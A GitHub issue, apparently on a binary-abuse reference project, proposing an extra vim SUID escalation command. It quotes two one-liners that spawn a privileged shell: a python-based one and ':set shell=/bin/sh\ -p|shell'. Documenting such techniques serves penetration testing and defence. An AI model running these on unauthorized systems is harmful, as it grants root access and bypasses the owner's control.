Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Additional vim SUID exploitation option? #456

Open
0xarnout opened this issue Jun 12, 2024 · 1 comment
Open

Additional vim SUID exploitation option? #456

0xarnout opened this issue Jun 12, 2024 · 1 comment

Comments

@0xarnout
Copy link

0xarnout commented Jun 12, 2024

Hi!

The section about SUID with only mentoins this option:

./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

This can be added:

./vim -c ':set shell=/bin/sh\ -p|shell'

benefit is that this doesn't require python support.

@0xarnout
Copy link
Author

@cyrus-and can you take a look at this? If you need any clarification please tell me!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant